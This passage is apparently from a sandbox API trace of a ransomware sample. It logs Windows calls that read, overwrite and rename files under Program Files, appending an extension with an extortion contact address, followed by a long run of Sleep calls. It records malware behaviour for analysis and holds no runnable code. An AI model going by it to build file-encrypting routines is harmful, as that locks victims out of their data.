lpNewFilePointer=0x0) returned 1 [0261.730] WriteFile (in: hFile=0x4e4, lpBuffer=0x6f00a1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f00a1f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.730] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.731] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.731] CloseHandle (hObject=0x4e4) returned 1 [0261.731] GetProcessHeap () returned 0x630000 [0261.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f00520 | out: hHeap=0x630000) returned 1 [0261.731] GetProcessHeap () returned 0x630000 [0261.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f00fb0 | out: hHeap=0x630000) returned 1 [0261.731] GetProcessHeap () returned 0x630000 [0261.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0261.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61f4d638, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x52b, dwReserved0=0x69bfd20, dwReserved1=0x6f00fb0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0261.731] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.731] Sleep (dwMilliseconds=0x1) [0261.753] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\12.jpg", len=0x7c | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\12.jpg") returned 1 [0261.753] GetProcessHeap () returned 0x630000 [0261.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd0) returned 0x6fe3bb0 [0261.753] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\12.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\12.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.755] Sleep (dwMilliseconds=0x1) [0261.796] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\10.jpg", len=0x7c | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\10.jpg") returned 1 [0261.796] GetProcessHeap () returned 0x630000 [0261.796] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dcc) returned 0x6fe3bb0 [0261.796] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\10.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\10.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.804] Sleep (dwMilliseconds=0x1) [0263.214] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\20.png", len=0x79 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\20.png") returned 1 [0263.214] GetProcessHeap () returned 0x630000 [0263.214] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0263.214] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.222] Sleep (dwMilliseconds=0x1) [0264.572] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM", len=0x6c | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM") returned 1 [0264.572] GetProcessHeap () returned 0x630000 [0264.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c38) returned 0x6fe3bb0 [0264.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.747] CloseHandle (hObject=0x42c) returned 1 [0264.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANYON~1.FIR")) returned 0x6d54c0 [0264.797] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0264.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0264.849] GetProcessHeap () returned 0x630000 [0264.849] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaee1) returned 0x7264620 [0264.849] GetProcessHeap () returned 0x630000 [0264.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaee1) returned 0x70cdff8 [0264.850] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.850] ReadFile (in: hFile=0x69c, lpBuffer=0x7264620, nNumberOfBytesToRead=0xaec0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x69bff0c*=0xaec0, lpOverlapped=0x0) returned 1 [0273.100] GetProcessHeap () returned 0x630000 [0273.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0273.101] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.101] WriteFile (in: hFile=0x69c, lpBuffer=0x70cdff8*, nNumberOfBytesToWrite=0xaec0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70cdff8*, lpNumberOfBytesWritten=0x69bff0c*=0xaec0, lpOverlapped=0x0) returned 1 [0273.102] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.102] WriteFile (in: hFile=0x69c, lpBuffer=0x70d8eb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d8eb7*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.102] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.102] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.102] CloseHandle (hObject=0x69c) returned 1 [0273.102] GetProcessHeap () returned 0x630000 [0273.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70cdff8 | out: hHeap=0x630000) returned 1 [0273.103] GetProcessHeap () returned 0x630000 [0273.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0273.103] GetProcessHeap () returned 0x630000 [0273.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0273.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ba379a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaeed, dwReserved0=0x9b47496, dwReserved1=0x7264618, cFileName="CANYON.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANYON~1.FIR")) returned 0x6d5380 [0273.103] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0273.104] Sleep (dwMilliseconds=0x1) [0275.104] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF", len=0x45 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF") returned 1 [0275.105] GetProcessHeap () returned 0x630000 [0275.105] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b10) returned 0x6fe3bb0 [0275.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocc____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0275.107] CloseHandle (hObject=0x4dc) returned 1 [0275.107] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocc____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocc____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCC____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCC__~1.FIR")) returned 0x6d5440 [0275.108] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0275.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocc____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0275.109] GetProcessHeap () returned 0x630000 [0275.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0275.109] GetProcessHeap () returned 0x630000 [0275.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0275.109] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.110] ReadFile (in: hFile=0x4dc, lpBuffer=0x70ce4d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 88 os_tid = 0x12fc [0067.706] Sleep (dwMilliseconds=0x1) [0067.822] Sleep (dwMilliseconds=0x1) [0067.938] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.542] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.426] Sleep (dwMilliseconds=0x1) [0072.610] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.095] Sleep (dwMilliseconds=0x1) [0073.394] Sleep (dwMilliseconds=0x1) [0073.721] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.063] Sleep (dwMilliseconds=0x1) [0078.089] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.199] Sleep (dwMilliseconds=0x1) [0078.220] Sleep (dwMilliseconds=0x1) [0078.241] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.275] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.317] Sleep (dwMilliseconds=0x1) [0078.356] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.447] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.842] Sleep (dwMilliseconds=0x1) [0078.892] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.319] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] 